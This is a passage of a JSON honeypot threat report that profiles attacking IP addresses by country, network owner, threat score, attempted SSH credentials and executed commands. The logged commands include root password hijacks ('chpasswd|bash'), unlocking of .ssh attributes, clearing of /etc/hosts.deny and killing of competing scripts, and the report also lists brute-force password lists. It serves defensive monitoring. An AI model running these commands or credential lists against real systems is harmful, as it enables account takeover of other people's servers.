      "passwords_attempted": [
        "123",
        "3245gs5662d34",
        "345gs5662d34",
        "1234",
        "12345",
        "123456",
        "Qwe12345",
        "manish1234",
        "rms123!",
        "root@123."
      ],
      "commands_executed": [
        "Enter new UNIX password:",
        "Enter new UNIX password: ",
        "cat /proc/cpuinfo | grep model | grep name | wc -l",
        "cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'",
        "cat /proc/cpuinfo | grep name | wc -l",
        "cd ~; chattr -ia .ssh; lockr -ia .ssh",
        "crontab -l",
        "df -h | head -n 2 | awk 'FNR == 2 {print $2;}'",
        "free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'",
        "lockr -ia .ssh",
        "ls -lh $(which ls)",
        "lscpu | grep Model",
        "top",
        "uname",
        "uname -a",
        "uname -m",
        "w",
        "which ls",
        "whoami",
        "echo \"123456\\nCa3hIW39hzsK\\nCa3hIW39hzsK\\n\"|passwd",
        "echo \"manish1234\\ntFAzGHSQAtwr\\ntFAzGHSQAtwr\\n\"|passwd",
        "echo -e \"123456\\nCa3hIW39hzsK\\nCa3hIW39hzsK\"|passwd|bash",
        "echo -e \"manish1234\\ntFAzGHSQAtwr\\ntFAzGHSQAtwr\"|passwd|bash"
      ],
      "event_types": [
        "cowrie.command.input",
        "cowrie.log.closed",
        "cowrie.session.params",
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.login.failed",
        "cowrie.command.failed",
        "cowrie.login.success"
      ],
      "country": "Colombia",
      "country_code": "CO",
      "city": "Pitalito",
      "asn": 265688,
      "as_org": "SINERGY SOLUCIONES INTEGRALES",
      "threat_score": 25.3,
      "threat_level": "low",
      "score_components": {
        "frequency": 23.3,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.7
      },
      "reputation_metrics": {
        "total_events_30d": 212,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-03-22T00:48:24.260000+00:00",
        "last_seen_30d": "2026-03-22T01:07:29.041000+00:00",
        "days_since_last_seen": 9
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 183,
        "Suricata": 29
      }
    },
    "103.175.225.238": {
      "attack_count": 168,
      "first_seen": "2026-03-27T07:03:50.828Z",
      "last_seen": "2026-03-27T09:16:09.668Z",
      "sessions": 22,
      "ports": [],
      "usernames_attempted": [
        "root",
        "345gs5662d34"
      ],
      "passwords_attempted": [
        "!qaz2wsX",
        "*&^%4321",
        "1321",
        "3245gs5662d34",
        "345gs5662d34",
        "765765",
        "Administrator8",
        "Asd12345678",
        "Asdfg123!",
        "P@ssw0rd4321",
        "Password!@#",
        "Rc@123456",
        "admin@163.com",
        "bc123456",
        "chicco",
        "dp@123456",
        "ftproot",
        "qwe123QWE",
        "sq123456",
        "tina"
      ],
      "commands_executed": [
        "cat /proc/cpuinfo | grep model | grep name | wc -l",
        "cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'",
        "cat /proc/cpuinfo | grep name | wc -l",
        "cd ~; chattr -ia .ssh; lockr -ia .ssh",
        "crontab -l",
        "df -h | head -n 2 | awk 'FNR == 2 {print $2;}'",
        "echo \"root:IC1ilm1MRooT\"|chpasswd|bash",
        "free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'",
        "lockr -ia .ssh",
        "ls -lh $(which ls)",
        "lscpu | grep Model",
        "rm -rf /tmp/secure.sh; rm -rf /tmp/auth.sh; pkill -9 secure.sh; pkill -9 auth.sh; echo > /etc/hosts.deny; pkill -9 sleep;",
        "top",
        "uname",
        "uname -a",
        "uname -m",
        "w",
        "which ls",
        "whoami"
      ],
      "event_types": [
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.login.failed",
        "cowrie.command.input",
        "cowrie.log.closed",
        "cowrie.session.params",
        "cowrie.session.file_download",
        "cowrie.command.failed"
      ],
      "country": "Indonesia",
      "country_code": "ID",
      "city": "Jakarta",
      "asn": 63859,
      "as_org": "PT. Eka Mas Republik",
      "threat_score": 31.7,
      "threat_level": "low",
      "score_components": {
        "frequency": 23.7,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.87
      },
      "reputation_metrics": {
        "total_events_30d": 236,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-03-27T07:03:50.828000+00:00",
        "last_seen_30d": "2026-03-27T09:17:16.294000+00:00",
        "days_since_last_seen": 4
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 168,
        "Suricata": 68
      }
    },
    "62.60.244.109": {
      "attack_count": 158,
      "first_seen": "2026-03-29T10:48:13.745Z",
      "last_seen": "2026-03-29T11:58:02.292Z",
      "sessions": 20,
      "ports": [],
      "usernames_attempted": [
        "root",
        "345gs5662d34"
      ],
      "passwords_attempted": [
        "3245gs5662d34",
        "345gs5662d34",
        "April2026",
        "India@1234",
        "JPJS4DYfj3BB6Yvl",
        "P@ssw0rd01!",
        "Pa55word",
        "ZAQ!xsw2cde3",
        "adm2024",
        "amateur",
        "daniel123",
        "hF123456.",
        "letmein@123",
        "mustafa",
        "qqwwee1234",
        "qwert678",
        "sistema",
        "sky",
        "wubao",
        "zxc.123"
      ],
      "commands_executed": [
        "cat /proc/cpuinfo | grep model | grep name | wc -l",
        "cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'",
        "cat /proc/cpuinfo | grep name | wc -l",
        "cd ~; chattr -ia .ssh; lockr -ia .ssh",
        "crontab -l",
        "df -h | head -n 2 | awk 'FNR == 2 {print $2;}'",
        "echo \"root:ACSIhiL6AuHS\"|chpasswd|bash",
        "free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'",
        "lockr -ia .ssh",
        "ls -lh $(which ls)",
        "lscpu | grep Model",
        "rm -rf /tmp/secure.sh; rm -rf /tmp/auth.sh; pkill -9 secure.sh; pkill -9 auth.sh; echo > /etc/hosts.deny; pkill -9 sleep;",
        "top",
        "uname",
        "uname -a",
        "uname -m",
        "w",
        "which ls",
        "whoami"
      ],
      "event_types": [
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.command.input",
        "cowrie.login.failed",
        "cowrie.log.closed",
        "cowrie.session.params",
        "cowrie.session.file_download",
        "cowrie.command.failed"
      ],
      "country": "Iran",
      "country_code": "IR",
      "city": null,
      "asn": 203273,
      "as_org": "NetCrafters OU",
      "threat_score": 33.6,
      "threat_level": "low",
      "score_components": {
        "frequency": 23.2,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.93
      },
      "reputation_metrics": {
        "total_events_30d": 209,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-03-29T10:48:13.745000+00:00",
        "last_seen_30d": "2026-03-29T11:59:05.374000+00:00",
        "days_since_last_seen": 2
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 158,
        "Suricata": 51
      }
    },
    "93.48.24.181": {
      "attack_count": 158,
      "first_seen": "2026-03-06T01:03:28.325Z",
      "last_seen": "2026-03-06T01:18:40.074Z",
      "sessions": 8,
      "ports": [],
      "usernames_attempted": [
        "abhishek",
        "345gs5662d34",
        "claude",
        "kube",
        "lq",
        "mikrotik",
        "root"
      ],
      "passwords_attempted": [
        "12345",
        "123456",
        "3245gs5662d34",
        "345gs5662d34",
        "Aa321321",
        "kube123!",
        "lq123!",
        "mikrotik1234"
      ],
      "commands_executed": [
        "Enter new UNIX password:",
        "Enter new UNIX password: ",
        "cat /proc/cpuinfo | grep model | grep name | wc -l",
        "cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'",
        "cat /proc/cpuinfo | grep name | wc -l",
        "cd ~; chattr -ia .ssh; lockr -ia .ssh",
        "crontab -l",
        "df -h | head -n 2 | awk 'FNR == 2 {print $2;}'",
        "free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'",
        "lockr -ia .ssh",
        "ls -lh $(which ls)",
        "lscpu | grep Model",
        "top",
        "uname",
        "uname -a",
        "uname -m",
        "w",
        "which ls",
        "whoami",
        "echo \"123456\\nEmlJo6m0kPa0\\nEmlJo6m0kPa0\\n\"|passwd",
        "echo \"mikrotik1234\\nYIgNtwsfPm6k\\nYIgNtwsfPm6k\\n\"|passwd",
        "echo -e \"123456\\nEmlJo6m0kPa0\\nEmlJo6m0kPa0\"|passwd|bash",
        "echo -e \"mikrotik1234\\nYIgNtwsfPm6k\\nYIgNtwsfPm6k\"|passwd|bash"
      ],
      "event_types": [
        "cowrie.command.input",
        "cowrie.log.closed",
        "cowrie.session.params",
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.login.failed",
        "cowrie.command.failed",
        "cowrie.login.success"
      ],
      "country": "Italy",
      "country_code": "IT",
      "city": "Palermo",
      "asn": 12874,
      "as_org": "Fastweb",
      "threat_score": 5.9,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 22.5,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.17
      },
      "reputation_metrics": {
        "total_events_30d": 177,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-03-06T01:03:28.325000+00:00",
        "last_seen_30d": "2026-03-06T01:19:47.633000+00:00",
        "days_since_last_seen": 25
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 158,
        "Suricata": 19
      }
    },
    "206.189.126.44": {
      "attack_count": 150,
      "first_seen": "2026-03-05T17:13:11.464Z",
      "last_seen": "2026-03-05T17:34:18.712Z",
      "sessions": 29,
      "ports": [],
      "usernames_attempted": [
        "root",
        "admin"
      ],
      "passwords_attempted": [
        "123123",
        "12345",
        "123456",
        "12345678",
        "123456789",
        "admin",
        "password",
        "qwerty",
        "000000",
        "111111",
        "123",
        "1234",
        "1q2w3e4r",
        "654321",
        "P@ssw0rd",
        "admin123",
        "passw0rd",
        "password1",
        "root123",
        "toor"
      ],
      "commands_executed": [
        "cat /proc/uptime 2 > /dev/null | cut -d. -f1",
        "uname -m 2 > /dev/null",
        "uname -s -v -n -m 2 > /dev/null"
      ],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.login.failed",
        "cowrie.command.input",
        "cowrie.command.failed",
        "cowrie.log.closed",
        "cowrie.login.success",
        "cowrie.session.file_download"
      ],
      "country": "United Kingdom",
      "country_code": "GB",
      "city": "Slough",
      "asn": 14061,
      "as_org": "DigitalOcean, LLC",
      "threat_score": 4.8,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 23.3,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.13
      },
      "reputation_metrics": {
        "total_events_30d": 214,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-03-05T17:13:11.464000+00:00",
        "last_seen_30d": "2026-03-05T17:35:27.763000+00:00",
        "days_since_last_seen": 26
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 150,
        "Suricata": 64
      }
    },
    "122.116.178.193": {
      "attack_count": 136,
      "first_seen": "2026-03-27T15:07:18.815Z",
      "last_seen": "2026-03-31T19:51:32.265Z",
      "sessions": 68,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Taiwan",
      "country_code": "TW",
      "city": "Daxi",
      "asn": 3462,
      "as_org": "Data Communication Business Group",
      "threat_score": 43.0,
      "threat_level": "medium",
      "score_components": {
        "frequency": 24.8,
        "persistence": 4.2,
        "diversity": 4,
        "spread": 10,
        "recency_factor": 1.0
      },
      "reputation_metrics": {
        "total_events_30d": 301,
        "days_active_30d": 5,
        "ports_targeted_30d": 2,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-03-27T14:38:06.374000+00:00",
        "last_seen_30d": "2026-03-31T21:20:30.868000+00:00",
        "days_since_last_seen": 0
      },
      "honeypot_breakdown_30d": {
        "Suricata": 165,
        "Cowrie": 136
      }
    },
    "101.47.49.205": {
      "attack_count": 124,
      "first_seen": "2026-03-29T20:18:19.460Z",
      "last_seen": "2026-03-29T22:15:09.765Z",
      "sessions": 14,
      "ports": [],
      "usernames_attempted": [
        "root"
      ],
      "passwords_attempted": [
        "123$qwer",
        "1qaz!@#123",
        "3245gs5662d34",
        "Cn123456",
        "Dx147258",
        "Welcome!@#",
        "cx123456",
        "saint",
        "vps12345",
        "vps@123",
        "zh@123456"
      ],
      "commands_executed": [
        "cat /proc/cpuinfo | grep model | grep name | wc -l",
        "cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'",
        "cat /proc/cpuinfo | grep name | wc -l",
        "cd ~; chattr -ia .ssh; lockr -ia .ssh",
        "crontab -l",
        "df -h | head -n 2 | awk 'FNR == 2 {print $2;}'",
        "echo \"root:cl3hMMgBpY5D\"|chpasswd|bash",
        "free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'",
        "lockr -ia .ssh",
        "ls -lh $(which ls)",
        "lscpu | grep Model",
        "rm -rf /tmp/secure.sh; rm -rf /tmp/auth.sh; pkill -9 secure.sh; pkill -9 auth.sh; echo > /etc/hosts.deny; pkill -9 sleep;",
        "top",
        "uname",
        "uname -a",
        "uname -m",
        "w",
        "which ls",
        "whoami"
      ],
      "event_types": [
        "cowrie.command.input",
        "cowrie.log.closed",
        "cowrie.session.params",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.client.kex",
        "cowrie.login.failed",
        "cowrie.session.file_download",
        "cowrie.command.failed"
      ],
      "country": "Singapore",
      "country_code": "SG",
      "city": "Singapore",
      "asn": 150436,
      "as_org": "Byteplus Pte. Ltd.",
      "threat_score": 32.6,
      "threat_level": "low",
      "score_components": {
        "frequency": 22.1,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.93
      },
      "reputation_metrics": {
        "total_events_30d": 164,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-03-29T20:18:19.460000+00:00",
        "last_seen_30d": "2026-03-29T22:16:11.587000+00:00",
        "days_since_last_seen": 2
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 124,
        "Suricata": 40
      }
    },
    "116.110.21.58": {
      "attack_count": 122,
      "first_seen": "2026-03-22T03:19:48.086Z",
      "last_seen": "2026-03-22T03:31:53.033Z",
      "sessions": 24,
      "ports": [],
      "usernames_attempted": [
        "admin",
        "root",
        "support",
        "1234",
        "bin",
        "btf",
        "guest",
        "guest1",
        "helpdesk",
        "matrix",
        "nikita",
        "operator",
        "psybnc",
        "sshd",
        "sync",
        "test",
        "ubnt",
        "user"
      ],
      "passwords_attempted": [
        "1234",
        "admin",
        "0l0ctyQh243O63uD",
        "321start",
        "P@ssw0rd",
        "bin",
        "click1",
        "default",
        "guest",
        "guest1",
        "helpdesk",
        "matrix",
        "nikita",
        "operator",
        "psybnc",
        "sshd",
        "support",
        "test",
        "toor",
        "ubnt"
      ],
      "commands_executed": [],
      "event_types": [
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.login.failed",
        "cowrie.direct-tcpip.data",
        "cowrie.direct-tcpip.request",
        "cowrie.login.success"
      ],
      "country": "Vietnam",
      "country_code": "VN",
      "city": "Da Nang",
      "asn": 24086,
      "as_org": "Viettel Corporation",
      "threat_score": 26.1,
      "threat_level": "low",
      "score_components": {
        "frequency": 22.4,
        "persistence": 0.8,
        "diversity": 4,
        "spread": 10,
        "recency_factor": 0.7
      },
      "reputation_metrics": {
        "total_events_30d": 175,
        "days_active_30d": 1,
        "ports_targeted_30d": 2,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-03-22T03:19:48.086000+00:00",
        "last_seen_30d": "2026-03-22T03:32:58.333000+00:00",
        "days_since_last_seen": 9
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 122,
        "Suricata": 53
      }
    },
    "150.241.113.104": {
      "attack_count": 118,
      "first_seen": "2026-03-03T13:34:50.947Z",
      "last_seen": "2026-03-03T14:03:30.847Z",
      "sessions": 12,
      "ports": [],
      "usernames_attempted": [
        "root",
        "345gs5662d34"
      ],
      "passwords_attempted": [
        "1Qaz2Wsx3Edc",
        "1qazxsw2",
        "3245gs5662d34",
        "345gs5662d34",
        "3edc$RFV",
        "Aa@12345",
        "Admin!123",
        "Heslo123",
        "Qwer123",
        "Root12",
        "System@123",
        "himanshu"
      ],
      "commands_executed": [
        "cat /proc/cpuinfo | grep model | grep name | wc -l",
        "cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'",
        "cat /proc/cpuinfo | grep name | wc -l",
        "cd ~; chattr -ia .ssh; lockr -ia .ssh",
        "crontab -l",
        "df -h | head -n 2 | awk 'FNR == 2 {print $2;}'",
        "echo \"root:S5xOOCjEUcDl\"|chpasswd|bash",
        "free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'",
        "lockr -ia .ssh",
        "ls -lh $(which ls)",
        "lscpu | grep Model",
        "rm -rf /tmp/secure.sh; rm -rf /tmp/auth.sh; pkill -9 secure.sh; pkill -9 auth.sh; echo > /etc/hosts.deny; pkill -9 sleep;",
        "top",
        "uname",
        "uname -a",
        "uname -m",
        "w",
        "which ls",
        "whoami"
      ],
      "event_types": [
        "cowrie.command.input",
        "cowrie.log.closed",
        "cowrie.session.params",
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.login.failed",
        "cowrie.session.file_download",
        "cowrie.command.failed"
      ],
      "country": "United States",
      "country_code": "US",
      "city": null,
      "asn": 199785,
      "as_org": "Cloud Hosting Solutions, Limited.",
      "threat_score": 3.5,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 21.7,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.1
      },
      "reputation_metrics": {
        "total_events_30d": 148,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-03-03T13:34:50.947000+00:00",
        "last_seen_30d": "2026-03-03T14:04:33.652000+00:00",
        "days_since_last_seen": 28
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 118,
        "Suricata": 30
      }
    },
    "190.167.237.191": {
      "attack_count": 118,
      "first_seen": "2026-03-03T14:05:57.557Z",
      "last_seen": "2026-03-03T14:29:58.823Z",
      "sessions": 12,
      "ports": [],
      "usernames_attempted": [
        "root",
        "345gs5662d34"
      ],
      "passwords_attempted": [
        "123456@A",
        "1qaz@WSX2025",
        "3245gs5662d34",
        "345gs5662d34",
        "753159",
        "Ab12345678",
        "Passwd123",
        "Root111111",
        "User@123",
        "cN@123456",
        "password1@",
        "superman"
      ],
      "commands_executed": [
        "cat /proc/cpuinfo | grep model | grep name | wc -l",
        "cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'",
        "cat /proc/cpuinfo | grep name | wc -l",
        "cd ~; chattr -ia .ssh; lockr -ia .ssh",
        "crontab -l",
        "df -h | head -n 2 | awk 'FNR == 2 {print $2;}'",
        "echo \"root:qzWLodvhGimG\"|chpasswd|bash",
        "free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'",
        "lockr -ia .ssh",
        "ls -lh $(which ls)",
        "lscpu | grep Model",
        "rm -rf /tmp/secure.sh; rm -rf /tmp/auth.sh; pkill -9 secure.sh; pkill -9 auth.sh; echo > /etc/hosts.deny; pkill -9 sleep;",
        "top",
        "uname",
        "uname -a",
        "uname -m",
        "w",
        "which ls",
        "whoami"
      ],
      "event_types": [
        "cowrie.command.input",
        "cowrie.log.closed",
        "cowrie.session.params",
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.login.failed",
        "cowrie.session.file_download",
        "cowrie.command.failed"
      ],
      "country": "Dominican Republic",
      "country_code": "DO",
      "city": "Santo Domingo",
      "asn": 6400,
      "as_org": "Compania Dominicana de Telefonos S. A.",
      "threat_score": 3.5,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 21.7,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.1
      },
      "reputation_metrics": {
        "total_events_30d": 147,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-03-03T14:05:57.557000+00:00",
        "last_seen_30d": "2026-03-03T14:31:08.147000+00:00",
        "days_since_last_seen": 28
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 118,
        "Suricata": 29
      }
    },
    "37.143.61.84": {
      "attack_count": 118,
      "first_seen": "2026-03-09T17:24:19.496Z",
      "last_seen": "2026-03-09T17:48:24.787Z",
      "sessions": 12,
      "ports": [],
      "usernames_attempted": [
        "root",
        "345gs5662d34",
        "abdullah",
        "dell",
        "dj",
        "ionadmin",
        "mohammad",
        "opc",
        "sav",
        "tsbot"
      ],
      "passwords_attempted": [
        "12345678",
        "12345",
        "123456",
        "3245gs5662d34",
        "345gs5662d34",
        "Admin2022!@#",
        "dell",
        "dj123",
        "savpass",
        "test1234",
        "tsbot"
      ],
      "commands_executed": [
        "cat /proc/cpuinfo | grep model | grep name | wc -l",
        "cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'",
        "cat /proc/cpuinfo | grep name | wc -l",
        "cd ~; chattr -ia .ssh; lockr -ia .ssh",
        "crontab -l",
        "df -h | head -n 2 | awk 'FNR == 2 {print $2;}'",
        "echo \"root:R7ztlPnSgAfL\"|chpasswd|bash",
        "free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'",
        "lockr -ia .ssh",
        "ls -lh $(which ls)",
        "lscpu | grep Model",
        "rm -rf /tmp/secure.sh; rm -rf /tmp/auth.sh; pkill -9 secure.sh; pkill -9 auth.sh; echo > /etc/hosts.deny; pkill -9 sleep;",
        "top",
        "uname",
        "uname -a",
        "uname -m",
        "w",
        "which ls",
        "whoami"
      ],
      "event_types": [
        "cowrie.command.input",
        "cowrie.log.closed",
        "cowrie.session.params",
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.login.failed",
        "cowrie.session.file_download",
        "cowrie.command.failed"
      ],
      "country": "United Kingdom",
      "country_code": "GB",
      "city": "City of London",
      "asn": 42831,
      "as_org": "UK Dedicated Servers Limited",
      "threat_score": 9.2,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 21.7,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.27
      },
      "reputation_metrics": {
        "total_events_30d": 147,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-03-09T17:24:19.496000+00:00",
        "last_seen_30d": "2026-03-09T17:49:32.184000+00:00",
        "days_since_last_seen": 22
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 118,
        "Suricata": 29
      }
    },
    "101.47.143.252": {
      "attack_count": 111,
      "first_seen": "2026-03-09T02:18:55.544Z",
      "last_seen": "2026-03-09T02:58:28.920Z",
      "sessions": 11,
      "ports": [],
      "usernames_attempted": [
        "345gs5662d34",
        "host",
        "innova",
        "manager",
        "marek",
        "piuser",
        "test1",
        "wade",
        "yasin"
      ],
      "passwords_attempted": [
        "123456",
        "123",
        "1234",
        "345gs5662d34",
        "Yasin123",
        "marek123!",
        "piuser123"
      ],
      "commands_executed": [
        "Enter new UNIX password:",
        "Enter new UNIX password: ",
        "cat /proc/cpuinfo | grep model | grep name | wc -l",
        "cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'",
        "cat /proc/cpuinfo | grep name | wc -l",
        "cd ~; chattr -ia .ssh; lockr -ia .ssh",
        "crontab -l",
        "df -h | head -n 2 | awk 'FNR == 2 {print $2;}'",
        "echo \"1234\\nS0SKVsQGHwtB\\nS0SKVsQGHwtB\\n\"|passwd",
        "echo -e \"1234\\nS0SKVsQGHwtB\\nS0SKVsQGHwtB\"|passwd|bash",
        "free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'",
        "lockr -ia .ssh",
        "ls -lh $(which ls)",
        "lscpu | grep Model",
        "top",
        "uname",
        "uname -a",
        "uname -m",
        "w",
        "which ls",
        "whoami"
      ],
      "event_types": [
        "cowrie.command.input",
        "cowrie.log.closed",
        "cowrie.session.params",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.client.kex",
        "cowrie.login.failed",
        "cowrie.command.failed",
        "cowrie.login.success"
      ],
      "country": "Singapore",
      "country_code": "SG",
      "city": "Singapore",
      "asn": 150436,
      "as_org": "Byteplus Pte. Ltd.",
      "threat_score": 9.1,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 21.5,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.27
      },
      "reputation_metrics": {
        "total_events_30d": 140,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-03-09T02:18:55.544000+00:00",
        "last_seen_30d": "2026-03-09T03:04:18.659000+00:00",
        "days_since_last_seen": 22
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 111,
        "Suricata": 29
      }
    },
    "142.93.128.145": {
      "attack_count": 110,
      "first_seen": "2026-03-10T22:25:18.265Z",
      "last_seen": "2026-03-10T22:49:51.994Z",
      "sessions": 21,
      "ports": [],
      "usernames_attempted": [
        "admin",
        "administrator"
      ],
      "passwords_attempted": [
        "123456",
        "P@ssw0rd",
        "letmein",
        "passw0rd",
        "password",
        "qwerty",
        "welcome",
        "admin",
        "admin123",
        "admin2026",
        "administrator",
        "administrator123",
        "administrator2026"
      ],
      "commands_executed": [
        "cat /proc/uptime 2 > /dev/null | cut -d. -f1",
        "uname -m 2 > /dev/null",
        "uname -s -v -n -m 2 > /dev/null"
      ],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.login.failed",
        "cowrie.command.input",
        "cowrie.command.failed",
        "cowrie.log.closed",
        "cowrie.login.success",
        "cowrie.session.file_download"
      ],
      "country": "Netherlands",
      "country_code": "NL",
      "city": "Amsterdam",
      "asn": 14061,
      "as_org": "DigitalOcean, LLC",
      "threat_score": 10.5,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 22.0,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.3
      },
      "reputation_metrics": {
        "total_events_30d": 159,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-03-10T22:25:18.265000+00:00",
        "last_seen_30d": "2026-03-10T22:51:01.946000+00:00",
        "days_since_last_seen": 21
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 110,
        "Suricata": 49
      }
    },
    "103.189.234.125": {
      "attack_count": 94,
      "first_seen": "2026-03-26T07:46:19.015Z",
      "last_seen": "2026-03-26T07:56:54.629Z",
      "sessions": 7,
      "ports": [],
      "usernames_attempted": [
        "boom",
        "345gs5662d34",
        "hduser",
        "omega",
        "roots",
        "zhj"
      ],
      "passwords_attempted": [
        "123",
        "3245gs5662d34",
        "345gs5662d34",
        "Boom123!",
        "omega123!",
        "password",
        "rootspass"
      ],
      "commands_executed": [
        "Enter new UNIX password:",
        "Enter new UNIX password: ",
        "cat /proc/cpuinfo | grep model | grep name | wc -l",
        "cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'",
        "cat /proc/cpuinfo | grep name | wc -l",
        "cd ~; chattr -ia .ssh; lockr -ia .ssh",
        "crontab -l",
        "df -h | head -n 2 | awk 'FNR == 2 {print $2;}'",
        "echo \"Boom123!\\nPrIbE9qO2r3w\\nPrIbE9qO2r3w\\n\"|passwd",
        "echo -e \"Boom123!\\nPrIbE9qO2r3w\\nPrIbE9qO2r3w\"|passwd|bash",
        "free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'",
        "lockr -ia .ssh",
        "ls -lh $(which ls)",
        "lscpu | grep Model",
        "top",
        "uname",
        "uname -a",
        "uname -m",
        "w",
        "which ls",
        "whoami"
      ],
      "event_types": [
        "cowrie.command.input",
        "cowrie.log.closed",
        "cowrie.session.params",
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.login.failed",
        "cowrie.command.failed",
        "cowrie.login.success"
      ],
      "country": "Indonesia",
      "country_code": "ID",
      "city": null,
      "asn": 138608,
      "as_org": "Cloud Host Pte Ltd",
      "threat_score": 27.7,
      "threat_level": "low",
      "score_components": {
        "frequency": 20.4,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.83
      },
      "reputation_metrics": {
        "total_events_30d": 110,
        "days_active_30d": 1,
